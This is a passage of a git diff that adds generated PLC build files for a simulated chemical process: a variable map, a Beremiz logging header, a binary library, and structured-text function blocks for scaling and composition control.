+247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := 